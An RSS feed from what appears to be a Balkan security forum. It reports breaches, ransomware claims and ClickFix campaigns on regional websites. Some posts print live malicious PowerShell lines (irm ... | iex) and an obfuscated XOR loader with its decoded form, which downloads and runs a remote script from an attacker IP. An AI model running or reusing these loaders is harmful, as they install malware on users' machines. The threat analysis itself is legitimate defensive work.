<![CDATA[Bezbedan Balkan - Kompromitovani resursi]]>

<![CDATA[Bezbedan Balkan - Kompromitovani resursi]]> https://bezbedanbalkan.net/ Sat, 03 Oct 2026 00:42:24 +0000 MyBB <![CDATA[[HR] Oglašena prodaja kompromitovana baza podataka hrvatskih korisnika kockarnice]]> https://bezbedanbalkan.net/thread-2759.html Fri, 02 Oct 2026 18:13:01 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2759.html Nije jasno iz teksta da li je jedna kockarnica ili više njih u pitanju.
Akter takođe tvrdi da poseduje pristup sistemima velikog poznatog kazina u Hrvatskoj.

po onome što piše prodavac ovi podaci sadrže ime i prezime, OIB, datum rođenja, adresu a takođe i slike KYC dokumenta na nalogu.

kock2.png Size: 419.25 KB Downloads: 17

]]> Nije jasno iz teksta da li je jedna kockarnica ili više njih u pitanju.
Akter takođe tvrdi da poseduje pristup sistemima velikog poznatog kazina u Hrvatskoj.

po onome što piše prodavac ovi podaci sadrže ime i prezime, OIB, datum rođenja, adresu a takođe i slike KYC dokumenta na nalogu.

kock2.png Size: 419.25 KB Downloads: 17

]]> <![CDATA[[BA] topizbor.ba - procurela baza podataka sa sajta]]> https://bezbedanbalkan.net/thread-2750.html Fri, 25 Sep 2026 22:05:33 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2750.html

topiz2.png Size: 148.91 KB Downloads: 123

topiz3.png Size: 18.24 KB Downloads: 123

topiz2.png Size: 148.91 KB Downloads: 123

topiz3.png Size: 18.24 KB Downloads: 123

Baza je izgleda cela baza sa sajta i sadrži sve podatke o proizvodima, porudžbinama, poslatim SMS porukama, itd.
Od poručilaca sadrži ime prezime, poštansku adresu, mejl adresu, broj telefona.
Podaci datiraju od 2020. godine pa do početka 2025. što znači da ovo verovatno nije sveža kompromitacija.]]> <![CDATA[isrbija.net forum - procureli podaci naloga sa foruma]]> https://bezbedanbalkan.net/thread-2749.html Fri, 25 Sep 2026 21:21:39 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2749.html
Podaci sadrže preko 35,000 zapisa i sastoje se od korisničkog imena, e-mail adrese i hešovane šifre članova foruma

isrb2.png Size: 134.66 KB Downloads: 114

Na samom forumu primećujem da zaista ima oko 35,000 članova, takođe na vrhu stranice stoji da treba obavezno promeniti šifru naloga :

isrb3.png Size: 67.96 KB Downloads: 113

]]>
Podaci sadrže preko 35,000 zapisa i sastoje se od korisničkog imena, e-mail adrese i hešovane šifre članova foruma

isrb2.png Size: 134.66 KB Downloads: 114

Na samom forumu primećujem da zaista ima oko 35,000 članova, takođe na vrhu stranice stoji da treba obavezno promeniti šifru naloga :

isrb3.png Size: 67.96 KB Downloads: 113

]]> <![CDATA[Kompromitovan EnergyNet - energynet.rs - podaci klijenata]]> https://bezbedanbalkan.net/thread-2748.html Fri, 25 Sep 2026 18:12:47 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2748.html
Akter tvrdi da poseduje 56,909 jedinstvenih zapisa koji sadrže između ostalog lične podatke kupca i podatke firme pretpostavljam distributera koja im je vršila neku uslugu.

en2.png Size: 424.92 KB Downloads: 126

šema tabele u ponuđenom uzorku:

Code:
bn	drzava	mesto	ime_prezime	adresa	telefon_1	telefon_2	email	napomena	broj_racuna	naziv_prod	mesto_prod	datum	servisirao	ovlasceni	servis_naziv	uneo

]]>
Akter tvrdi da poseduje 56,909 jedinstvenih zapisa koji sadrže između ostalog lične podatke kupca i podatke firme pretpostavljam distributera koja im je vršila neku uslugu.

en2.png Size: 424.92 KB Downloads: 126

šema tabele u ponuđenom uzorku:

Code:
bn	drzava	mesto	ime_prezime	adresa	telefon_1	telefon_2	email	napomena	broj_racuna	naziv_prod	mesto_prod	datum	servisirao	ovlasceni	servis_naziv	uneo

]]> <![CDATA[[BA] VGT BROKER d.o.o. Visoko - vgt-broker.com - clickfix]]> https://bezbedanbalkan.net/thread-2741.html Thu, 17 Sep 2026 21:19:12 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2741.html

vg1.png Size: 509.4 KB Downloads: 241

koristi etherhiding preko BSC testneta da učita kôd:

Code:
      "to": "0xE75744C53eC0914fE9bE92847019D3d7122B6b77",
      "data": "0x6d4ce63c"

vg3.png Size: 172.1 KB Downloads: 227

ima i drugu adresu sa koje dobija drugačiji odgovor:

Code:
      "to": "0x4a0e8aC014cafcb0AfF9E90F68D6C0E0c031360d",
      "data": "0x6d4ce63c"

Šalje i IP adresu "92.101.168.76" na isti pametni ugovor kao i [BA] Kids info - kidsinfo.ba - clickfix :

Code:
      "to": "0xf4a32588b50a59a82fbA148d436081A48d80832A",
      "data": "0x24513bb60000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000d37392e3130312e3136382e3736000000000000000000000000000000"
    },
    "latest"
  ],

u klipbord stavlja malver bez preteranog pokušaja da sakrije šta radi:

Code:
irm testingcf.jsdelivr[.]net/gh/989A-A-3fF2465495760-2B3a/248A-2-3A-1d2290-BC-416-6DbA/Bc28-54673384617Ab9-A3E5 | iex

vg2.png Size: 192.05 KB Downloads: 224

]]>

vg1.png Size: 509.4 KB Downloads: 241

koristi etherhiding preko BSC testneta da učita kôd:

Code:
      "to": "0xE75744C53eC0914fE9bE92847019D3d7122B6b77",
      "data": "0x6d4ce63c"

vg3.png Size: 172.1 KB Downloads: 227

ima i drugu adresu sa koje dobija drugačiji odgovor:

Code:
      "to": "0x4a0e8aC014cafcb0AfF9E90F68D6C0E0c031360d",
      "data": "0x6d4ce63c"

Šalje i IP adresu "92.101.168.76" na isti pametni ugovor kao i [BA] Kids info - kidsinfo.ba - clickfix :

Code:
      "to": "0xf4a32588b50a59a82fbA148d436081A48d80832A",
      "data": "0x24513bb60000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000d37392e3130312e3136382e3736000000000000000000000000000000"
    },
    "latest"
  ],

u klipbord stavlja malver bez preteranog pokušaja da sakrije šta radi:

Code:
irm testingcf.jsdelivr[.]net/gh/989A-A-3fF2465495760-2B3a/248A-2-3A-1d2290-BC-416-6DbA/Bc28-54673384617Ab9-A3E5 | iex

vg2.png Size: 192.05 KB Downloads: 224

]]> <![CDATA[[BA] Kids info - kidsinfo.ba - clickfix]]> https://bezbedanbalkan.net/thread-2740.html Thu, 17 Sep 2026 21:03:44 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2740.html https://mc.yandex.com/watch/99162160/1 i ništa se ne dešava

kiba1.png Size: 265.41 KB Downloads: 167

učitava sa BSC testnet blokčejna...

kiba2.png Size: 341.37 KB Downloads: 168

Code:
      "to": "0xA1decFB75C8C0CA28C10517ce56B710baf727d2e",
      "data": "0x6d4ce63c"

i sa ove adrese:

Code:
      "to": "0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff",
      "data": "0x6d4ce63c"

Na jedan drugi pametni ugovor (0xf4a32588b50a59a82fbA148d436081A48d80832A) šalje nešto skroz drugačije :

kiba3.png Size: 87.78 KB Downloads: 167

šalje IP adresu iz Rusije "92.101.168.76" i kao odgovor dobija "no"]]> https://mc.yandex.com/watch/99162160/1 i ništa se ne dešava

kiba1.png Size: 265.41 KB Downloads: 167

učitava sa BSC testnet blokčejna...

kiba2.png Size: 341.37 KB Downloads: 168

Code:
      "to": "0xA1decFB75C8C0CA28C10517ce56B710baf727d2e",
      "data": "0x6d4ce63c"

i sa ove adrese:

Code:
      "to": "0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff",
      "data": "0x6d4ce63c"

Na jedan drugi pametni ugovor (0xf4a32588b50a59a82fbA148d436081A48d80832A) šalje nešto skroz drugačije :

kiba3.png Size: 87.78 KB Downloads: 167

šalje IP adresu iz Rusije "92.101.168.76" i kao odgovor dobija "no"]]> <![CDATA[ECD kripto menjačnica - obaveštenje o navodnom sajber napadu na stari deo sistema]]> https://bezbedanbalkan.net/thread-2738.html Wed, 16 Sep 2026 09:16:32 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2738.html

ecd1.png Size: 188.34 KB Downloads: 224

]]>

ecd1.png Size: 188.34 KB Downloads: 224

]]> <![CDATA[[HR] Navodno kompromitovan meridian16.hr - ransomware]]> https://bezbedanbalkan.net/thread-2736.html Tue, 15 Sep 2026 18:12:39 +0000 VincaSec]]> https://bezbedanbalkan.net/thread-2736.html
Ovo je od ranije.

1423613c4e913f589e549a95a5e50e25.png Size: 334.98 KB Downloads: 194

]]>
Ovo je od ranije.

1423613c4e913f589e549a95a5e50e25.png Size: 334.98 KB Downloads: 194

]]> <![CDATA[Balkan Polymers - balkanpolymers.com - ransomware]]> https://bezbedanbalkan.net/thread-2735.html Mon, 14 Sep 2026 20:53:38 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2735.html Quote:Jedan od vodećih distributera polimera u Jugoistočnoj Evropi, prisutan u preko 20 zemalja.
Ransomware ekipa The Gentlemen je objavila navodnu kompromitaciju ove kompanije :

balpol1.png Size: 51.16 KB Downloads: 181

Nije poznato koji podaci su u pitanju.]]> Quote:Jedan od vodećih distributera polimera u Jugoistočnoj Evropi, prisutan u preko 20 zemalja.
Ransomware ekipa The Gentlemen je objavila navodnu kompromitaciju ove kompanije :

balpol1.png Size: 51.16 KB Downloads: 181

Nije poznato koji podaci su u pitanju.]]> <![CDATA[[HR] IVETA PVC d.o.o. - ransomware]]> https://bezbedanbalkan.net/thread-2734.html Mon, 14 Sep 2026 20:49:52 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2734.html
Sajt je https://ivetapvc.hr i bave se PVC prozorima, ne bave se kolačima

Nije poznato koji podaci su u pitanju

ivet1.png Size: 39.27 KB Downloads: 173

]]>
Sajt je https://ivetapvc.hr i bave se PVC prozorima, ne bave se kolačima

Nije poznato koji podaci su u pitanju

ivet1.png Size: 39.27 KB Downloads: 173

]]> <![CDATA[Kompromitovan pdpokret.rs - clickfix na sajtu]]> https://bezbedanbalkan.net/thread-2727.html Wed, 09 Sep 2026 22:35:11 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2727.html

pd1.png Size: 38.88 KB Downloads: 167

Code:
pdpokret.rs has address 185.119.89.100

Ovakav nisam video ranije, mnogo je interaktivniji u nadi da će dobiti poverenje posetioca. Kad se klikne na "nisam robot" kaže da je verifikacija neuspešna:

pd2.png Size: 39.85 KB Downloads: 171

Onda izbaci klasičan slikovni captcha :

pd3.png Size: 275.53 KB Downloads: 172

Ali ni to ne valja i mora "ručno" :

pd4.png Size: 86.49 KB Downloads: 176

I konačno stižemo do onoga što mora da se uradi za verifikaciju, a to je da se ručno pokrene maliciozni kod. Kad stigneš do ovde posle svih koraka lako je zeznuti se, zaboraviš uopšte i šta radiš, prilično lukavo i nisam viđao ranije ovako razrađene clickfix kampanje :

pd5.png Size: 95.96 KB Downloads: 174

Sajt je WordPress pa je verovatno nešto kompromitovano. Šta god je kompromitovano uzima domen za dalje učitavanja sa blokčejna :

pdp2.png Size: 89.96 KB Downloads: 165

Ako gledamo adresu tek je 12 dana aktivna, kampanja je sveža https://polygonscan.com/address/0xb29927...376E68C676

Vidimo akciju "Set Payload" koji namešta URL koji vraća pametan ugovor i "Set Enabled" koji nešto uključuje

sa pametnog ugovora na toj adresi dobija sledeći payload domena i failover :

Code:
https://check-cf.site;https://cf-check.site

prethodni payload je bio :

Code:
https://checkcloudflere.site;https://flarecloudcheck.site

Sa cf-check[.]site/js/all.min.js učitava kôd koji pokazuje lažni Cloudflare

U klipbord stavlja:

Code:
irm('https://cf-check.site/hex/traffic')|iex

sa tog linka dobije zamagljeni i XOR enkriptovan kôd koji se redovno menja, dobio sam više varijanti sa različitim XOR ključem i imenima promenljivih...

Code:
$ErrorActionPreference='SilentlyContinue'
$ProgressPreference='SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12
$_ecf5=201
$_71a2=-join(@(154,176,186,189,172,164,231,132,168,167,168,174,172,164,172,167,189,231,136,188,189,166,164,168,189,160,166,167,231,136,164,186,160,156,189,160,165,186)|%{[char]($_ -bxor $_ecf5)})
$_c82e=-join(@(168,164,186,160,128,167,160,189,143,168,160,165,172,173)|%{[char]($_ -bxor $_ecf5)})
$_d37e=-join(@(153,154,134,171,163,172,170,189)|%{[char]($_ -bxor $_ecf5)})
$_da5f='Ge'+'tT'+'ype'
$_7d1a='G'+'etFie'+'ld'
$_3544='S'+'etVa'+'lue'
$_f08f='NonPu'+'blic,St'+'atic'
$_5b3b=([type]$_d37e).Assembly
$_baa0=$_5b3b.$_da5f($_71a2)
if($_baa0){$_4847=$_baa0.$_7d1a($_c82e,$_f08f);if($_4847){$_4847.$_3544($null,$true)}}
$_14f931='8'+'a96'+'59'
$_2148c0='1c244b445a4b79024d5f5a5768135c50504b5d0f5a53081e6b0855535b4d54187a595b4d510f4c5312331c314b59524b5d124a66475c5e044b535b5a5d5c1e655c555d0f4d5a4c7a570f4d5f5b4c5d46336d7b5c4c4f6a53474f51025c665a50561574575b585f044b6b0f036b045a4347504c1869445a4d5702565a086276044d18665c5b144b5f4140681356425a5a570d6d4f455c655b0362594a095333126a0f5d03580703041f094d42454a024e165553145b095c555e174b084d531a4907085d0b000f5d035d53040001540f54005d5c000c53010d000008030c585e505a57535a0858085451010f021f5d080e595000555708094633126a000e07010f06045113541611660e045b57040f32085f1e1857571519126a000e07010f061043135c42404b561c33126a5c59075b5704041f5658070c5a5a5008113f1d67580d0e575b5b5c62544c4d5d3a646b0f0356044e1e116601575f0e0c0a162d5c58524d504e0b1f3f5f571311126a0e0e5958555104085a1d69020f00005a521514541519126a000c595b54561774045751415103456601030159025d1d1e10436b1d690c0d00035b556e1d67560f0e545a5c3c046d765656175c444164025b6d5977404c0411126a000e07010f06176b145b45414b510f5e1e11660f570157565d125315041c1509571016185b400e4b166e5b41155c6b6e5a50004b6b11665d005f54540863456601030159025d1311665d005f545408162d5c58524d503c334b3f1d67045803560f095c62654c4a4c045418615c401517735b5a570550585264025b6c62730116265c42664d4a0857511d1d67580d0e575b5b48335f504118456653540c5b5708'
$_bc1995=[byte[]]::new($_2148c0.Length/2)
for($_7afd23=0;$_7afd23 -lt $_bc1995.Length;$_7afd23++){
$_bc1995[$_7afd23]=[Convert]::ToByte($_2148c0.Substring($_7afd23*2,2),16) -bxor [byte][char]$_14f931[$_7afd23%$_14f931.Length]
}
$_940916=[System.Text.Encoding]::UTF8.GetString($_bc1995)
iex $_940916

posle dekripcije i čišćenja izgleda ovako :

Code:
$ErrorActionPreference='SilentlyContinue'
$ProgressPreference='SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

$ip = "185.215.113.219"
$port = "8999"
$path = "loaders/553451231.ps1"
$uri = "https://$ip/$path"

$client = New-Object System.Net.WebClient
$client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
$payload = $client.DownloadString($uri)
iex $payload

pd1.png Size: 38.88 KB Downloads: 167

Code:
pdpokret.rs has address 185.119.89.100

Ovakav nisam video ranije, mnogo je interaktivniji u nadi da će dobiti poverenje posetioca. Kad se klikne na "nisam robot" kaže da je verifikacija neuspešna:

pd2.png Size: 39.85 KB Downloads: 171

Onda izbaci klasičan slikovni captcha :

pd3.png Size: 275.53 KB Downloads: 172

Ali ni to ne valja i mora "ručno" :

pd4.png Size: 86.49 KB Downloads: 176

pd5.png Size: 95.96 KB Downloads: 174

Sajt je WordPress pa je verovatno nešto kompromitovano. Šta god je kompromitovano uzima domen za dalje učitavanja sa blokčejna :

pdp2.png Size: 89.96 KB Downloads: 165

Code:
https://check-cf.site;https://cf-check.site

prethodni payload je bio :

Code:
https://checkcloudflere.site;https://flarecloudcheck.site

Sa cf-check[.]site/js/all.min.js učitava kôd koji pokazuje lažni Cloudflare

U klipbord stavlja:

Code:
irm('https://cf-check.site/hex/traffic')|iex

sa tog linka dobije zamagljeni i XOR enkriptovan kôd koji se redovno menja, dobio sam više varijanti sa različitim XOR ključem i imenima promenljivih...

Code:
$ErrorActionPreference='SilentlyContinue'
$ProgressPreference='SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12
$_ecf5=201
$_71a2=-join(@(154,176,186,189,172,164,231,132,168,167,168,174,172,164,172,167,189,231,136,188,189,166,164,168,189,160,166,167,231,136,164,186,160,156,189,160,165,186)|%{[char]($_ -bxor $_ecf5)})
$_c82e=-join(@(168,164,186,160,128,167,160,189,143,168,160,165,172,173)|%{[char]($_ -bxor $_ecf5)})
$_d37e=-join(@(153,154,134,171,163,172,170,189)|%{[char]($_ -bxor $_ecf5)})
$_da5f='Ge'+'tT'+'ype'
$_7d1a='G'+'etFie'+'ld'
$_3544='S'+'etVa'+'lue'
$_f08f='NonPu'+'blic,St'+'atic'
$_5b3b=([type]$_d37e).Assembly
$_baa0=$_5b3b.$_da5f($_71a2)
if($_baa0){$_4847=$_baa0.$_7d1a($_c82e,$_f08f);if($_4847){$_4847.$_3544($null,$true)}}
$_14f931='8'+'a96'+'59'
$_2148c0='1c244b445a4b79024d5f5a5768135c50504b5d0f5a53081e6b0855535b4d54187a595b4d510f4c5312331c314b59524b5d124a66475c5e044b535b5a5d5c1e655c555d0f4d5a4c7a570f4d5f5b4c5d46336d7b5c4c4f6a53474f51025c665a50561574575b585f044b6b0f036b045a4347504c1869445a4d5702565a086276044d18665c5b144b5f4140681356425a5a570d6d4f455c655b0362594a095333126a0f5d03580703041f094d42454a024e165553145b095c555e174b084d531a4907085d0b000f5d035d53040001540f54005d5c000c53010d000008030c585e505a57535a0858085451010f021f5d080e595000555708094633126a000e07010f06045113541611660e045b57040f32085f1e1857571519126a000e07010f061043135c42404b561c33126a5c59075b5704041f5658070c5a5a5008113f1d67580d0e575b5b5c62544c4d5d3a646b0f0356044e1e116601575f0e0c0a162d5c58524d504e0b1f3f5f571311126a0e0e5958555104085a1d69020f00005a521514541519126a000c595b54561774045751415103456601030159025d1d1e10436b1d690c0d00035b556e1d67560f0e545a5c3c046d765656175c444164025b6d5977404c0411126a000e07010f06176b145b45414b510f5e1e11660f570157565d125315041c1509571016185b400e4b166e5b41155c6b6e5a50004b6b11665d005f54540863456601030159025d1311665d005f545408162d5c58524d503c334b3f1d67045803560f095c62654c4a4c045418615c401517735b5a570550585264025b6c62730116265c42664d4a0857511d1d67580d0e575b5b48335f504118456653540c5b5708'
$_bc1995=[byte[]]::new($_2148c0.Length/2)
for($_7afd23=0;$_7afd23 -lt $_bc1995.Length;$_7afd23++){
$_bc1995[$_7afd23]=[Convert]::ToByte($_2148c0.Substring($_7afd23*2,2),16) -bxor [byte][char]$_14f931[$_7afd23%$_14f931.Length]
}
$_940916=[System.Text.Encoding]::UTF8.GetString($_bc1995)
iex $_940916

posle dekripcije i čišćenja izgleda ovako :

Code:
$ErrorActionPreference='SilentlyContinue'
$ProgressPreference='SilentlyContinue'
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

$ip = "185.215.113.219"
$port = "8999"
$path = "loaders/553451231.ps1"
$uri = "https://$ip/$path"

$client = New-Object System.Net.WebClient
$client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
$payload = $client.DownloadString($uri)
iex $payload

Nisam uspeo da preuzmem dalji payload u ovom trenutku, server na toj IP adresi nije dostupan ili imaju zaštitu protiv analize i nešto ne radim kako treba.

Kompleksnost i maštovitost ovih Clickfix kampanja je zastrašujuća]]> <![CDATA[Kompromitovan "Doming" - navodno procureli podaci B2B naloga]]> https://bezbedanbalkan.net/thread-2726.html Wed, 09 Sep 2026 20:31:29 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2726.html Kompromitovana "Phoenix Pharma" - navodno procureli podaci B2B naloga isti akter je postavio navodne podatke od Doming B2B, pretpostavljam sa nekog portala preko kojeg B2B klijenti vrše porudžbine.

Podaci sadrže e-mail adresu, MD5 hešovanu šifru, broj telefona i adresu...

dom2.png Size: 295.23 KB Downloads: 177

MD5 nije pogodan heš algoritam za bezbedno čuvanje lozinki]]> Kompromitovana "Phoenix Pharma" - navodno procureli podaci B2B naloga isti akter je postavio navodne podatke od Doming B2B, pretpostavljam sa nekog portala preko kojeg B2B klijenti vrše porudžbine.

Podaci sadrže e-mail adresu, MD5 hešovanu šifru, broj telefona i adresu...

dom2.png Size: 295.23 KB Downloads: 177

MD5 nije pogodan heš algoritam za bezbedno čuvanje lozinki]]> <![CDATA[Navodno kompromitovan studiob.rs - narušen izgled sajta]]> https://bezbedanbalkan.net/thread-2724.html Tue, 08 Sep 2026 22:25:02 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2724.html

stb1.jpeg Size: 188.09 KB Downloads: 183

Code:
studiob.rs has address 79.101.48.119

Sajt trenutno ima izazova u radu, sporo se učitava ili prikazuje grešku :

stb2.png Size: 18.06 KB Downloads: 179

Zanimljiv spisak domena koji su na istoj IP adresi...

Code:
studiob.rs
beogradskooko.rs
niskooko.rs
srbijapobedjuje.info
srbijapobedjuje.co.rs
arandjelovackooko.rs
kulskooko.rs
bginfopoint.rs
usivanje.rs
cacanskooko.rs
pazovackooko.rs
borskooko.rs
novosadskooko.rs

izvor reddit]]>

stb1.jpeg Size: 188.09 KB Downloads: 183

Code:
studiob.rs has address 79.101.48.119

Sajt trenutno ima izazova u radu, sporo se učitava ili prikazuje grešku :

stb2.png Size: 18.06 KB Downloads: 179

Zanimljiv spisak domena koji su na istoj IP adresi...

Code:
studiob.rs
beogradskooko.rs
niskooko.rs
srbijapobedjuje.info
srbijapobedjuje.co.rs
arandjelovackooko.rs
kulskooko.rs
bginfopoint.rs
usivanje.rs
cacanskooko.rs
pazovackooko.rs
borskooko.rs
novosadskooko.rs

izvor reddit]]> <![CDATA[Oglašena prodaja pristupa nepoznatoj visokoškolskoj ustanovi]]> https://bezbedanbalkan.net/thread-2720.html Mon, 07 Sep 2026 21:42:47 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2720.html Kredencijale mogu pristupiti sistemima ustanove preko RDP (Remote Desktop)

Jedini identifikujući podatak je da ustanova (valjda) ostvaruje prihode od oko $10 miliona

ob1.png Size: 45.58 KB Downloads: 136

ob2.png Size: 25.26 KB Downloads: 136

]]> Kredencijale mogu pristupiti sistemima ustanove preko RDP (Remote Desktop)

Jedini identifikujući podatak je da ustanova (valjda) ostvaruje prihode od oko $10 miliona

ob1.png Size: 45.58 KB Downloads: 136

ob2.png Size: 25.26 KB Downloads: 136

]]> <![CDATA[Kompromitovana "Phoenix Pharma" - navodno procureli podaci B2B naloga]]> https://bezbedanbalkan.net/thread-2719.html Sun, 06 Sep 2026 21:53:31 +0000 milos_rs]]> https://bezbedanbalkan.net/thread-2719.html
podaci su pretpostavljam sa nekog B2B portala i u postavljenom uzorku verovatno sadrži naloge koji pristupaju nekakvom portalu, upečatljivo je da su uključene šifre u otvorenom tekstu bez enkripcije ni bilo kakve druge zaštite što znači da se verovatno tako i čuvaju u samoj bazi.

Zbog postojanja šifra rizik je veliki da se ovi podaci dalje zloupotrebe za credential stuffing i druge napade.

phoe2.png Size: 298.6 KB Downloads: 220

]]>
podaci su pretpostavljam sa nekog B2B portala i u postavljenom uzorku verovatno sadrži naloge koji pristupaju nekakvom portalu, upečatljivo je da su uključene šifre u otvorenom tekstu bez enkripcije ni bilo kakve druge zaštite što znači da se verovatno tako i čuvaju u samoj bazi.

Zbog postojanja šifra rizik je veliki da se ovi podaci dalje zloupotrebe za credential stuffing i druge napade.

phoe2.png Size: 298.6 KB Downloads: 220

]]>